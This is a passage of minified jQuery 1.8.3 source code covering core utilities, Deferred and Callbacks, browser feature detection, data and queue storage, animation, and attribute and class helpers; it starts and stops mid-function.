r=t==="width"?e.offsetWidth:e.offsetHeight,i=!0,s=v.support.boxSizing&&v.css(e,"boxSizing")==="border-box";if(r<=0||r==null){r=Dt(e,t);if(r<0||r==null)r=e.style[t];if(Ut.test(r))return r;i=s&&(v.support.boxSizingReliable||r===e.style[t]),r=parseFloat(r)||0}return r+en(e,t,n||(s?"border":"content"),i)+"px"}function nn(e){if(Wt[e])return Wt[e];var t=v("<"+e+">").appendTo(i.body),n=t.css("display");t.remove();if(n==="none"||n===""){Pt=i.body.appendChild(Pt||v.extend(i.createElement("iframe"),{frameBorder:0,width:0,height:0}));if(!Ht||!Pt.createElement)Ht=(Pt.contentWindow||Pt.contentDocument).document,Ht.write("<!doctype html><html><body>"),Ht.close();t=Ht.body.appendChild(Ht.createElement(e)),n=Dt(t,"display"),i.body.removeChild(Pt)}return Wt[e]=n,n}function fn(e,t,n,r){var i;if(v.isArray(t))v.each(t,function(t,i){n||sn.test(e)?r(e,i):fn(e+"["+(typeof i=="object"?t:"")+"]",i,n,r)});else if(!n&&v.type(t)==="object")for(i in t)fn(e+"["+i+"]",t[i],n,r);else r(e,t)}function Cn(e){return function(t,n){typeof t!="string"&&(n=t,t="*");var r,i,s,o=t.toLowerCase().split(y),u=0,a=o.length;if(v.isFunction(n))for(;u<a;u++)r=o[u],s=/^\+/.test(r),s&&(r=r.substr(1)||"*"),i=e[r]=e[r]||[],i[s?"unshift":"push"](n)}}function kn(e,n,r,i,s,o){s=s||n.dataTypes[0],o=o||{},o[s]=!0;var u,a=e[s],f=0,l=a?a.length:0,c=e===Sn;for(;f<l&&(c||!u);f++)u=a[f](n,r,i),typeof u=="string"&&(!c||o[u]?u=t:(n.dataTypes.unshift(u),u=kn(e,n,r,i,u,o)));return(c||!u)&&!o["*"]&&(u=kn(e,n,r,i,"*",o)),u}function Ln(e,n){var r,i,s=v.ajaxSettings.flatOptions||{};for(r in n)n[r]!==t&&((s[r]?e:i||(i={}))[r]=n[r]);i&&v.extend(!0,e,i)}function An(e,n,r){var i,s,o,u,a=e.contents,f=e.dataTypes,l=e.responseFields;for(s in l)s in r&&(n[l[s]]=r[s]);while(f[0]==="*")f.shift(),i===t&&(i=e.mimeType||n.getResponseHeader("content-type"));if(i)for(s in a)if(a[s]&&a[s].test(i)){f.unshift(s);break}if(f[0]in r)o=f[0];else{for(s in r){if(!f[0]||e.converters[s+" "+f[0]]){o=s;break}u||(u=s)}o=o||u}if(o)return o!==f[0]&&f.unshift(o),r[o]}function On(e,t){var n,r,i,s,o=e.dataTypes.slice(),u=o[0],a={},f=0;e.dataFilter&&(t=e.dataFilter(t,e.dataType));if(o[1])for(n in e.converters)a[n.toLowerCase()]=e.converters[n];for(;i=o[++f];)if(i!=="*"){if(u!=="*"&&u!==i){n=a[u+" "+i]||a["* "+i];if(!n)for(r in a){s=r.split(" ");if(s[1]===i){n=a[u+" "+s[0]]||a["* "+s[0]];if(n){n===!0?n=a[r]:a[r]!==!0&&(i=s[0],o.splice(f--,0,i));break}}}if(n!==!0)if(n&&e["throws"])t=n(t);else try{t=n(t)}catch(l){return{state:"parsererror",error:n?l:"No conversion from "+u+" to "+i}}}u=i}return{state:"success",data:t}}function Fn(){try{return new e.XMLHttpRequest}catch(t){}}function In(){try{return new e.ActiveXObject("Microsoft.XMLHTTP")}catch(t){}}function $n(){return setTimeout(function(){qn=t},0),qn=v.now()}function Jn(e,t){v.each(t,function(t,n){var r=(Vn[t]||[]).concat(Vn["*"]),i=0,s=r.length;for(;i<s;i++)if(r[i].call(e,t,n))return})}function Kn(e,t,n){var r,i=0,s=0,o=Xn.length,u=v.Deferred().always(function(){delete a.elem}),a=function(){var t=qn||$n(),n=Math.max(0,f.startTime+f.duration-t),r=n/f.duration||0,i=1-r,s=0,o=f.tweens.length;for(;s<o;s++)f.tweens[s].run(i);return u.notifyWith(e,[f,i,n]),i<1&&o?n:(u.resolveWith(e,[f]),!1)},f=u.promise({elem:e,props:v.extend({},t),opts:v.extend(!0,{specialEasing:{}},n),originalProperties:t,originalOptions:n,startTime:qn||$n(),duration:n.duration,tweens:[],createTween:function(t,n,r){var i=v.Tween(e,f.opts,t,n,f.opts.specialEasing[t]||f.opts.easing);return f.tweens.push(i),i},stop:function(t){var n=0,r=t?f.tweens.length:0;for(;n<r;n++)f.tweens[n].run(1);return t?u.resolveWith(e,[f,t]):u.rejectWith(e,[f,t]),this}}),l=f.props;Qn(l,f.opts.specialEasing);for(;i<o;i++){r=Xn[i].call(f,e,l,f.opts);if(r)return r}return Jn(f,l),v.isFunction(f.opts.start)&&f.opts.start.call(e,f),v.fx.timer(v.extend(a,{anim:f,queue:f.opts.queue,elem:e})),f.progress(f.opts.progress).done(f.opts.done,f.opts.complete).fail(f.opts.fail).always(f.opts.always)}function Qn(e,t){var n,r,i,s,o;for(n in e){r=v.camelCase(n),i=t[r],s=e[n],v.isArray(s)&&(i=s[1],s=e[n]=s[0]),n!==r&&(e[r]=s,delete e[n]),o=v.cssHooks[r];if(o&&"expand"in o){s=o.expand(s),delete e[r];for(n in s)n in e||(e[n]=s[n],t[n]=i)}else t[r]=i}}function Gn(e,t,n){var r,i,s,o,u,a,f,l,c,h=this,p=e.style,d={},m=[],g=e.nodeType&&Gt(e);n.queue||(l=v._queueHooks(e,"fx"),l.unqueued==null&&(l.unqueued=0,c=l.empty.fire,l.empty.fire=function(){l.unqueued||c()}),l.unqueued++,h.always(function(){h.always(function(){l.unqueued--,v.queue(e,"fx").length||l.empty.fire()})})),e.nodeType===1&&("height"in t||"width"in t)&&(n.overflow=[p.overflow,p.overflowX,p.overflowY],v.css(e,"display")==="inline"&&v.css(e,"float")==="none"&&(!v.support.inlineBlockNeedsLayout||nn(e.nodeName)==="inline"?p.display="inline-block":p.zoom=1)),n.overflow&&(p.overflow="hidden",v.support.shrinkWrapBlocks||h.done(function(){p.overflow=n.overflow[0],p.overflowX=n.overflow[1],p.overflowY=n.overflow[2]}));for(r in t){s=t[r];if(Un.exec(s)){delete t[r],a=a||s==="toggle";if(s===(g?"hide":"show"))continue;m.push(r)}}o=m.length;if(o){u=v._data(e,"fxshow")||v._data(e,"fxshow",{}),"hidden"in u&&(g=u.hidden),a&&(u.hidden=!g),g?v(e).show():h.done(function(){v(e).hide()}),h.done(function(){var t;v.removeData(e,"fxshow",!0);for(t in d)v.style(e,t,d[t])});for(r=0;r<o;r++)i=m[r],f=h.createTween(i,g?u[i]:0),d[i]=u[i]||v.style(e,i),i in u||(u[i]=f.start,g&&(f.end=f.start,f.start=i==="width"||i==="height"?1:0))}}function Yn(e,t,n,r,i){return new Yn.prototype.init(e,t,n,r,i)}function Zn(e,t){var n,r={height:e},i=0;t=t?1:0;for(;i<4;i+=2-t)n=$t[i],r["margin"+n]=r["padding"+n]=e;return t&&(r.opacity=r.width=e),r}function tr(e){return v.isWindow(e)?e:e.nodeType===9?e.defaultView||e.parentWindow:!1}var n,r,i=e.document,s=e.location,o=e.navigator,u=e.jQuery,a=e.$,f=Array.prototype.push,l=Array.prototype.slice,c=Array.prototype.indexOf,h=Object.prototype.toString,p=Object.prototype.hasOwnProperty,d=String.prototype.trim,v=function(e,t){return new v.fn.init(e,t,n)},m=/[\-+]?(?:\d*\.|)\d+(?:[eE][\-+]?\d+|)/.source,g=/\S/,y=/\s+/,b=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,w=/^(?:[^#<]*(<[\w\W]+>)[^>]*$|#([\w\-]*)$)/,E=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,S=/^[\],:{}\s]*$/,x=/(?:^|:|,)(?:\s*\[)+/g,T=/\\(?:["\\\/bfnrt]|u[\da-fA-F]{4})/g,N=/"[^"\\\r\n]*"|true|false|null|-?(?:\d\d*\.|)\d+(?:[eE][\-+]?\d+|)/g,C=/^-ms-/,k=/-([\da-z])/gi,L=function(e,t){return(t+"").toUpperCase()},A=function(){i.addEventListener?(i.removeEventListener("DOMContentLoaded",A,!1),v.ready()):i.readyState==="complete"&&(i.detachEvent("onreadystatechange",A),v.ready())},O={};v.fn=v.prototype={constructor:v,init:function(e,n,r){var s,o,u,a;if(!e)return this;if(e.nodeType)return this.context=this[0]=e,this.length=1,this;if(typeof e=="string"){e.charAt(0)==="<"&&e.charAt(e.length-1)===">"&&e.length>=3?s=[null,e,null]:s=w.exec(e);if(s&&(s[1]||!n)){if(s[1])return n=n instanceof v?n[0]:n,a=n&&n.nodeType?n.ownerDocument||n:i,e=v.parseHTML(s[1],a,!0),E.test(s[1])&&v.isPlainObject(n)&&this.attr.call(e,n,!0),v.merge(this,e);o=i.getElementById(s[2]);if(o&&o.parentNode){if(o.id!==s[2])return r.find(e);this.length=1,this[0]=o}return this.context=i,this.selector=e,this}return!n||n.jquery?(n||r).find(e):this.constructor(n).find(e)}return v.isFunction(e)?r.ready(e):(e.selector!==t&&(this.selector=e.selector,this.context=e.context),v.makeArray(e,this))},selector:"",jquery:"1.8.3",length:0,size:function(){return this.length},toArray:function(){return l.call(this)},get:function(e){return e==null?this.toArray():e<0?this[this.length+e]:this[e]},pushStack:function(e,t,n){var r=v.merge(this.constructor(),e);return r.prevObject=this,r.context=this.context,t==="find"?r.selector=this.selector+(this.selector?" ":"")+n:t&&(r.selector=this.selector+"."+t+"("+n+")"),r},each:function(e,t){return v.each(this,e,t)},ready:function(e){return v.ready.promise().done(e),this},eq:function(e){return e=+e,e===-1?this.slice(e):this.slice(e,e+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(l.apply(this,arguments),"slice",l.call(arguments).join(","))},map:function(e){return this.pushStack(v.map(this,function(t,n){return e.call(t,n,t)}))},end:function(){return this.prevObject||this.constructor(null)},push:f,sort:[].sort,splice:[].splice},v.fn.init.prototype=v.fn,v.extend=v.fn.extend=function(){var e,n,r,i,s,o,u=arguments[0]||{},a=1,f=arguments.length,l=!1;typeof u=="boolean"&&(l=u,u=arguments[1]||{},a=2),typeof u!="object"&&!v.isFunction(u)&&(u={}),f===a&&(u=this,--a);for(;a<f;a++)if((e=arguments[a])!=null)for(n in e){r=u[n],i=e[n];if(u===i)continue;l&&i&&(v.isPlainObject(i)||(s=v.isArray(i)))?(s?(s=!1,o=r&&v.isArray(r)?r:[]):o=r&&v.isPlainObject(r)?r:{},u[n]=v.extend(l,o,i)):i!==t&&(u[n]=i)}return u},v.extend({noConflict:function(t){return e.$===v&&(e.$=a),t&&e.jQuery===v&&(e.jQuery=u),v},isReady:!1,readyWait:1,holdReady:function(e){e?v.readyWait++:v.ready(!0)},ready:function(e){if(e===!0?--v.readyWait:v.isReady)return;if(!i.body)return setTimeout(v.ready,1);v.isReady=!0;if(e!==!0&&--v.readyWait>0)return;r.resolveWith(i,[v]),v.fn.trigger&&v(i).trigger("ready").off("ready")},isFunction:function(e){return v.type(e)==="function"},isArray:Array.isArray||function(e){return v.type(e)==="array"},isWindow:function(e){return e!=null&&e==e.window},isNumeric:function(e){return!isNaN(parseFloat(e))&&isFinite(e)},type:function(e){return e==null?String(e):O[h.call(e)]||"object"},isPlainObject:function(e){if(!e||v.type(e)!=="object"||e.nodeType||v.isWindow(e))return!1;try{if(e.constructor&&!p.call(e,"constructor")&&!p.call(e.constructor.prototype,"isPrototypeOf"))return!1}catch(n){return!1}var r;for(r in e);return r===t||p.call(e,r)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},error:function(e){throw new Error(e)},parseHTML:function(e,t,n){var r;return!e||typeof e!="string"?null:(typeof t=="boolean"&&(n=t,t=0),t=t||i,(r=E.exec(e))?[t.createElement(r[1])]:(r=v.buildFragment([e],t,n?null:[]),v.merge([],(r.cacheable?v.clone(r.fragment):r.fragment).childNodes)))},parseJSON:function(t){if(!t||typeof t!="string")return null;t=v.trim(t);if(e.JSON&&e.JSON.parse)return e.JSON.parse(t);if(S.test(t.replace(T,"@").replace(N,"]").replace(x,"")))return(new Function("return "+t))();v.error("Invalid JSON: "+t)},parseXML:function(n){var r,i;if(!n||typeof n!="string")return null;try{e.DOMParser?(i=new DOMParser,r=i.parseFromString(n,"text/xml")):(r=new ActiveXObject("Microsoft.XMLDOM"),r.async="false",r.loadXML(n))}catch(s){r=t}return(!r||!r.documentElement||r.getElementsByTagName("parsererror").length)&&v.error("Invalid XML: "+n),r},noop:function(){},globalEval:function(t){t&&g.test(t)&&(e.execScript||function(t){e.eval.call(e,t)})(t)},camelCase:function(e){return e.replace(C,"ms-").replace(k,L)},nodeName:function(e,t){return e.nodeName&&e.nodeName.toLowerCase()===t.toLowerCase()},each:function(e,n,r){var i,s=0,o=e.length,u=o===t||v.isFunction(e);if(r){if(u){for(i in e)if(n.apply(e[i],r)===!1)break}else for(;s<o;)if(n.apply(e[s++],r)===!1)break}else if(u){for(i in e)if(n.call(e[i],i,e[i])===!1)break}else for(;s<o;)if(n.call(e[s],s,e[s++])===!1)break;return e},trim:d&&!d.call("\ufeff\u00a0")?function(e){return e==null?"":d.call(e)}:function(e){return e==null?"":(e+"").replace(b,"")},makeArray:function(e,t){var n,r=t||[];return e!=null&&(n=v.type(e),e.length==null||n==="string"||n==="function"||n==="regexp"||v.isWindow(e)?f.call(r,e):v.merge(r,e)),r},inArray:function(e,t,n){var r;if(t){if(c)return c.call(t,e,n);r=t.length,n=n?n<0?Math.max(0,r+n):n:0;for(;n<r;n++)if(n in t&&t[n]===e)return n}return-1},merge:function(e,n){var r=n.length,i=e.length,s=0;if(typeof r=="number")for(;s<r;s++)e[i++]=n[s];else while(n[s]!==t)e[i++]=n[s++];return e.length=i,e},grep:function(e,t,n){var r,i=[],s=0,o=e.length;n=!!n;for(;s<o;s++)r=!!t(e[s],s),n!==r&&i.push(e[s]);return i},map:function(e,n,r){var i,s,o=[],u=0,a=e.length,f=e instanceof v||a!==t&&typeof a=="number"&&(a>0&&e[0]&&e[a-1]||a===0||v.isArray(e));if(f)for(;u<a;u++)i=n(e[u],u,r),i!=null&&(o[o.length]=i);else for(s in e)i=n(e[s],s,r),i!=null&&(o[o.length]=i);return o.concat.apply([],o)},guid:1,proxy:function(e,n){var r,i,s;return typeof n=="string"&&(r=e[n],n=e,e=r),v.isFunction(e)?(i=l.call(arguments,2),s=function(){return e.apply(n,i.concat(l.call(arguments)))},s.guid=e.guid=e.guid||v.guid++,s):t},access:function(e,n,r,i,s,o,u){var a,f=r==null,l=0,c=e.length;if(r&&typeof r=="object"){for(l in r)v.access(e,n,l,r[l],1,o,i);s=1}else if(i!==t){a=u===t&&v.isFunction(i),f&&(a?(a=n,n=function(e,t,n){return a.call(v(e),n)}):(n.call(e,i),n=null));if(n)for(;l<c;l++)n(e[l],r,a?i.call(e[l],l,n(e[l],r)):i,u);s=1}return s?e:f?n.call(e):c?n(e[0],r):o},now:function(){return(new Date).getTime()}}),v.ready.promise=function(t){if(!r){r=v.Deferred();if(i.readyState==="complete")setTimeout(v.ready,1);else if(i.addEventListener)i.addEventListener("DOMContentLoaded",A,!1),e.addEventListener("load",v.ready,!1);else{i.attachEvent("onreadystatechange",A),e.attachEvent("onload",v.ready);var n=!1;try{n=e.frameElement==null&&i.documentElement}catch(s){}n&&n.doScroll&&function o(){if(!v.isReady){try{n.doScroll("left")}catch(e){return setTimeout(o,50)}v.ready()}}()}}return r.promise(t)},v.each("Boolean Number String Function Array Date RegExp Object".split(" "),function(e,t){O["[object "+t+"]"]=t.toLowerCase()}),n=v(i);var M={};v.Callbacks=function(e){e=typeof e=="string"?M[e]||_(e):v.extend({},e);var n,r,i,s,o,u,a=[],f=!e.once&&[],l=function(t){n=e.memory&&t,r=!0,u=s||0,s=0,o=a.length,i=!0;for(;a&&u<o;u++)if(a[u].apply(t[0],t[1])===!1&&e.stopOnFalse){n=!1;break}i=!1,a&&(f?f.length&&l(f.shift()):n?a=[]:c.disable())},c={add:function(){if(a){var t=a.length;(function r(t){v.each(t,function(t,n){var i=v.type(n);i==="function"?(!e.unique||!c.has(n))&&a.push(n):n&&n.length&&i!=="string"&&r(n)})})(arguments),i?o=a.length:n&&(s=t,l(n))}return this},remove:function(){return a&&v.each(arguments,function(e,t){var n;while((n=v.inArray(t,a,n))>-1)a.splice(n,1),i&&(n<=o&&o--,n<=u&&u--)}),this},has:function(e){return v.inArray(e,a)>-1},empty:function(){return a=[],this},disable:function(){return a=f=n=t,this},disabled:function(){return!a},lock:function(){return f=t,n||c.disable(),this},locked:function(){return!f},fireWith:function(e,t){return t=t||[],t=[e,t.slice?t.slice():t],a&&(!r||f)&&(i?f.push(t):l(t)),this},fire:function(){return c.fireWith(this,arguments),this},fired:function(){return!!r}};return c},v.extend({Deferred:function(e){var t=[["resolve","done",v.Callbacks("once memory"),"resolved"],["reject","fail",v.Callbacks("once memory"),"rejected"],["notify","progress",v.Callbacks("memory")]],n="pending",r={state:function(){return n},always:function(){return i.done(arguments).fail(arguments),this},then:function(){var e=arguments;return v.Deferred(function(n){v.each(t,function(t,r){var s=r[0],o=e[t];i[r[1]](v.isFunction(o)?function(){var e=o.apply(this,arguments);e&&v.isFunction(e.promise)?e.promise().done(n.resolve).fail(n.reject).progress(n.notify):n[s+"With"](this===i?n:this,[e])}:n[s])}),e=null}).promise()},promise:function(e){return e!=null?v.extend(e,r):r}},i={};return r.pipe=r.then,v.each(t,function(e,s){var o=s[2],u=s[3];r[s[1]]=o.add,u&&o.add(function(){n=u},t[e^1][2].disable,t[2][2].lock),i[s[0]]=o.fire,i[s[0]+"With"]=o.fireWith}),r.promise(i),e&&e.call(i,i),i},when:function(e){var t=0,n=l.call(arguments),r=n.length,i=r!==1||e&&v.isFunction(e.promise)?r:0,s=i===1?e:v.Deferred(),o=function(e,t,n){return function(r){t[e]=this,n[e]=arguments.length>1?l.call(arguments):r,n===u?s.notifyWith(t,n):--i||s.resolveWith(t,n)}},u,a,f;if(r>1){u=new Array(r),a=new Array(r),f=new Array(r);for(;t<r;t++)n[t]&&v.isFunction(n[t].promise)?n[t].promise().done(o(t,f,n)).fail(s.reject).progress(o(t,a,u)):--i}return i||s.resolveWith(f,n),s.promise()}}),v.support=function(){var t,n,r,s,o,u,a,f,l,c,h,p=i.createElement("div");p.setAttribute("className","t"),p.innerHTML=" <link/><table></table><a href='/a'>a</a><input type='checkbox'/>",n=p.getElementsByTagName("*"),r=p.getElementsByTagName("a")[0];if(!n||!r||!n.length)return{};s=i.createElement("select"),o=s.appendChild(i.createElement("option")),u=p.getElementsByTagName("input")[0],r.style.cssText="top:1px;float:left;opacity:.5",t={leadingWhitespace:p.firstChild.nodeType===3,tbody:!p.getElementsByTagName("tbody").length,htmlSerialize:!!p.getElementsByTagName("link").length,style:/top/.test(r.getAttribute("style")),hrefNormalized:r.getAttribute("href")==="/a",opacity:/^0.5/.test(r.style.opacity),cssFloat:!!r.style.cssFloat,checkOn:u.value==="on",optSelected:o.selected,getSetAttribute:p.className!=="t",enctype:!!i.createElement("form").enctype,html5Clone:i.createElement("nav").cloneNode(!0).outerHTML!=="<:nav></:nav>",boxModel:i.compatMode==="CSS1Compat",submitBubbles:!0,changeBubbles:!0,focusinBubbles:!1,deleteExpando:!0,noCloneEvent:!0,inlineBlockNeedsLayout:!1,shrinkWrapBlocks:!1,reliableMarginRight:!0,boxSizingReliable:!0,pixelPosition:!1},u.checked=!0,t.noCloneChecked=u.cloneNode(!0).checked,s.disabled=!0,t.optDisabled=!o.disabled;try{delete p.test}catch(d){t.deleteExpando=!1}!p.addEventListener&&p.attachEvent&&p.fireEvent&&(p.attachEvent("onclick",h=function(){t.noCloneEvent=!1}),p.cloneNode(!0).fireEvent("onclick"),p.detachEvent("onclick",h)),u=i.createElement("input"),u.value="t",u.setAttribute("type","radio"),t.radioValue=u.value==="t",u.setAttribute("checked","checked"),u.setAttribute("name","t"),p.appendChild(u),a=i.createDocumentFragment(),a.appendChild(p.lastChild),t.checkClone=a.cloneNode(!0).cloneNode(!0).lastChild.checked,t.appendChecked=u.checked,a.removeChild(u),a.appendChild(p);if(p.attachEvent)for(l in{submit:!0,change:!0,focusin:!0})f="on"+l,c=f in p,c||(p.setAttribute(f,"return;"),c=typeof p[f]=="function"),t[l+"Bubbles"]=c;return v(function(){var n,r,s,o,u="padding:0;margin:0;border:0;display:block;overflow:hidden;",a=i.getElementsByTagName("body")[0];if(!a)return;n=i.createElement("div"),n.style.cssText="visibility:hidden;border:0;width:0;height:0;position:static;top:0;margin-top:1px",a.insertBefore(n,a.firstChild),r=i.createElement("div"),n.appendChild(r),r.innerHTML="<table><tr><td></td><td>t</td></tr></table>",s=r.getElementsByTagName("td"),s[0].style.cssText="padding:0;margin:0;border:0;display:none",c=s[0].offsetHeight===0,s[0].style.display="",s[1].style.display="none",t.reliableHiddenOffsets=c&&s[0].offsetHeight===0,r.innerHTML="",r.style.cssText="box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;padding:1px;border:1px;display:block;width:4px;margin-top:1%;position:absolute;top:1%;",t.boxSizing=r.offsetWidth===4,t.doesNotIncludeMarginInBodyOffset=a.offsetTop!==1,e.getComputedStyle&&(t.pixelPosition=(e.getComputedStyle(r,null)||{}).top!=="1%",t.boxSizingReliable=(e.getComputedStyle(r,null)||{width:"4px"}).width==="4px",o=i.createElement("div"),o.style.cssText=r.style.cssText=u,o.style.marginRight=o.style.width="0",r.style.width="1px",r.appendChild(o),t.reliableMarginRight=!parseFloat((e.getComputedStyle(o,null)||{}).marginRight)),typeof r.style.zoom!="undefined"&&(r.innerHTML="",r.style.cssText=u+"width:1px;padding:1px;display:inline;zoom:1",t.inlineBlockNeedsLayout=r.offsetWidth===3,r.style.display="block",r.style.overflow="visible",r.innerHTML="<div></div>",r.firstChild.style.width="5px",t.shrinkWrapBlocks=r.offsetWidth!==3,n.style.zoom=1),a.removeChild(n),n=r=s=o=null}),a.removeChild(p),n=r=s=o=u=a=p=null,t}();var D=/(?:\{[\s\S]*\}|\[[\s\S]*\])$/,P=/([A-Z])/g;v.extend({cache:{},deletedIds:[],uuid:0,expando:"jQuery"+(v.fn.jquery+Math.random()).replace(/\D/g,""),noData:{embed:!0,object:"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000",applet:!0},hasData:function(e){return e=e.nodeType?v.cache[e[v.expando]]:e[v.expando],!!e&&!B(e)},data:function(e,n,r,i){if(!v.acceptData(e))return;var s,o,u=v.expando,a=typeof n=="string",f=e.nodeType,l=f?v.cache:e,c=f?e[u]:e[u]&&u;if((!c||!l[c]||!i&&!l[c].data)&&a&&r===t)return;c||(f?e[u]=c=v.deletedIds.pop()||v.guid++:c=u),l[c]||(l[c]={},f||(l[c].toJSON=v.noop));if(typeof n=="object"||typeof n=="function")i?l[c]=v.extend(l[c],n):l[c].data=v.extend(l[c].data,n);return s=l[c],i||(s.data||(s.data={}),s=s.data),r!==t&&(s[v.camelCase(n)]=r),a?(o=s[n],o==null&&(o=s[v.camelCase(n)])):o=s,o},removeData:function(e,t,n){if(!v.acceptData(e))return;var r,i,s,o=e.nodeType,u=o?v.cache:e,a=o?e[v.expando]:v.expando;if(!u[a])return;if(t){r=n?u[a]:u[a].data;if(r){v.isArray(t)||(t in r?t=[t]:(t=v.camelCase(t),t in r?t=[t]:t=t.split(" ")));for(i=0,s=t.length;i<s;i++)delete r[t[i]];if(!(n?B:v.isEmptyObject)(r))return}}if(!n){delete u[a].data;if(!B(u[a]))return}o?v.cleanData([e],!0):v.support.deleteExpando||u!=u.window?delete u[a]:u[a]=null},_data:function(e,t,n){return v.data(e,t,n,!0)},acceptData:function(e){var t=e.nodeName&&v.noData[e.nodeName.toLowerCase()];return!t||t!==!0&&e.getAttribute("classid")===t}}),v.fn.extend({data:function(e,n){var r,i,s,o,u,a=this[0],f=0,l=null;if(e===t){if(this.length){l=v.data(a);if(a.nodeType===1&&!v._data(a,"parsedAttrs")){s=a.attributes;for(u=s.length;f<u;f++)o=s[f].name,o.indexOf("data-")||(o=v.camelCase(o.substring(5)),H(a,o,l[o]));v._data(a,"parsedAttrs",!0)}}return l}return typeof e=="object"?this.each(function(){v.data(this,e)}):(r=e.split(".",2),r[1]=r[1]?"."+r[1]:"",i=r[1]+"!",v.access(this,function(n){if(n===t)return l=this.triggerHandler("getData"+i,[r[0]]),l===t&&a&&(l=v.data(a,e),l=H(a,e,l)),l===t&&r[1]?this.data(r[0]):l;r[1]=n,this.each(function(){var t=v(this);t.triggerHandler("setData"+i,r),v.data(this,e,n),t.triggerHandler("changeData"+i,r)})},null,n,arguments.length>1,null,!1))},removeData:function(e){return this.each(function(){v.removeData(this,e)})}}),v.extend({queue:function(e,t,n){var r;if(e)return t=(t||"fx")+"queue",r=v._data(e,t),n&&(!r||v.isArray(n)?r=v._data(e,t,v.makeArray(n)):r.push(n)),r||[]},dequeue:function(e,t){t=t||"fx";var n=v.queue(e,t),r=n.length,i=n.shift(),s=v._queueHooks(e,t),o=function(){v.dequeue(e,t)};i==="inprogress"&&(i=n.shift(),r--),i&&(t==="fx"&&n.unshift("inprogress"),delete s.stop,i.call(e,o,s)),!r&&s&&s.empty.fire()},_queueHooks:function(e,t){var n=t+"queueHooks";return v._data(e,n)||v._data(e,n,{empty:v.Callbacks("once memory").add(function(){v.removeData(e,t+"queue",!0),v.removeData(e,n,!0)})})}}),v.fn.extend({queue:function(e,n){var r=2;return typeof e!="string"&&(n=e,e="fx",r--),arguments.length<r?v.queue(this[0],e):n===t?this:this.each(function(){var t=v.queue(this,e,n);v._queueHooks(this,e),e==="fx"&&t[0]!=="inprogress"&&v.dequeue(this,e)})},dequeue:function(e){return this.each(function(){v.dequeue(this,e)})},delay:function(e,t){return e=v.fx?v.fx.speeds[e]||e:e,t=t||"fx",this.queue(t,function(t,n){var r=setTimeout(t,e);n.stop=function(){clearTimeout(r)}})},clearQueue:function(e){return this.queue(e||"fx",[])},promise:function(e,n){var r,i=1,s=v.Deferred(),o=this,u=this.length,a=function(){--i||s.resolveWith(o,[o])};typeof e!="string"&&(n=e,e=t),e=e||"fx";while(u--)r=v._data(o[u],e+"queueHooks"),r&&r.empty&&(i++,r.empty.add(a));return a(),s.promise(n)}});var j,F,I,q=/[\t\r\n]/g,R=/\r/g,U=/^(?:button|input)$/i,z=/^(?:button|input|object|select|textarea)$/i,W=/^a(?:rea|)$/i,X=/^(?:autofocus|autoplay|async|checked|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped|selected)$/i,V=v.support.getSetAttribute;v.fn.extend({attr:function(e,t){return v.access(this,v.attr,e,t,arguments.length>1)},removeAttr:function(e){return this.each(function(){v.removeAttr(this,e)})},prop:function(e,t){return v.access(this,v.prop,e,t,arguments.length>1)},removeProp:function(e){return e=v.propFix[e]||e,this.each(function(){try{this[e]=t,delete this[e]}catch(n){}})},addClass:function(e){var t,n,r,i,s,o,u;if(v.isFunction(e))return this.each(function(t){v(this).addClass(e.call(this,t,this.className))});if(e&&typeof e=="string"){t=e.split(y);for(n=0,r=this.length;n<r;n++){i=this[n];if(i.nodeType===1)if(!i.className&&t.length===1)i.className=e;else{s=" "+i.className+" ";for(o=0,u=t.length;o<u;o++)s.indexOf(" "+t[o]+" ")<0&&(s+=t[o]+" ");i.className=v.trim(s)}}}return this},removeClass:function(e){var n,r,i,s,o,u,a;if(v.isFunction(e))return this.each(function(t){v(this).removeClass(e.call(this,t,this.className))});if(e&&typeof e=="string"||e===t){n=(e||"").split(y);for(u=0,a=this.length;u<a;u++){i=this[u];if(i.nodeType===1&&i.className){r=(" "+i.className+" ").replace(q," ");for(s=0,o=n.length;s<o;s++)while(r.indexOf(" "+n[s]+" ")>=0)r=r.replace(" "+n[s]+" "," ");i.className=e?v.trim(r):""}}}return this},toggleClass:function(e,t){var n=typeof e,r=typeof t=="boolean";return v.isFunction(e)?this.each(function(n){v(this).toggleClass(e.call(this,n,this.className,t),t)}):this.each(function(){if(n==="string"){var i,s=0,o=v(this),u=t,a=e.split(y);while(i=a[s++])u=r?u:!o.hasClass(i),o[u?"addClass":"removeClass"](i)}else if(n==="undefined"||n==="boolean")this.className&&v._data(this,"__className__",this.className),this.className=this.className||e===!1?"":v._data(this,"__className__")||""})},hasClass:function(e){var t=" "+e+" ",n=0,r=this.length;for(;n<r;n++)if(this[n].nodeType===1&&(" "+this[n].className+" ").replace(q," ").indexOf(t)>=0)return!0;return!1},val:function(e){var n,r,i,s=this[0];if(!arguments.length){if(s)return n=v.valHooks[s.type]||v.valHooks[s.nodeName.toLowerCase()],n&&"get"in n&&(r=n.get(s,"value"))!==t?r:(r=s.value,typeof r=="string"?r.replace(R,""):r==null?"":r);return}return i=v.isFunction(e),this.each(function(r){var s,o=v(this);if(this.nodeType!==1)return;i?s=e.call(this,r,o.val()):s=e,s==null?s="":typeof s=="number"?s+="":v.isArray(s)&&(s=v.map(s,function(e){return e==null?"":e+""})),n=v.valHooks[this.type]||v.valHooks[this.nodeName.toLowerCase()];if(!n||!("set"in n)||n.set(this,s,"value")===t)this.value=s})}}),v.extend({valHooks:{option:{get:function(e){var t=e.attributes.value;return!t||t.specified?e.value:e.text}},select:{get:function(e){var t,n,r=e.options,i=e.selectedIndex,s=e.type==="select-one"||i<0,o=s?null:[],u=s?i+1:r.length,a=i<0?u:s?i:0;for(;a<u;a++){n=r[a];if((n.selected||a===i)&&(v.support.optDisabled?!n.disabled:n.getAttribute("disabled")===null)&&(!n.parentNode.disabled||!v.nodeName(n.parentNode,"optgroup"))){t=v(n).val();if(s)return t;o.push(t)}}return o},set:function(e,t){var n=v.makeArray(t);return v(e).find("option").each(function(){this.selected=v.inArray(v(this).val(),n)>=0}),n.length||(e.selectedIndex=-1),n}}},attrFn:{},attr:function(e,n,r,i){var s,o,u,a=e.nodeType;if(!e||a===3||a===8||a===2)return;if(i&&v.isFunction(v.fn[n]))return 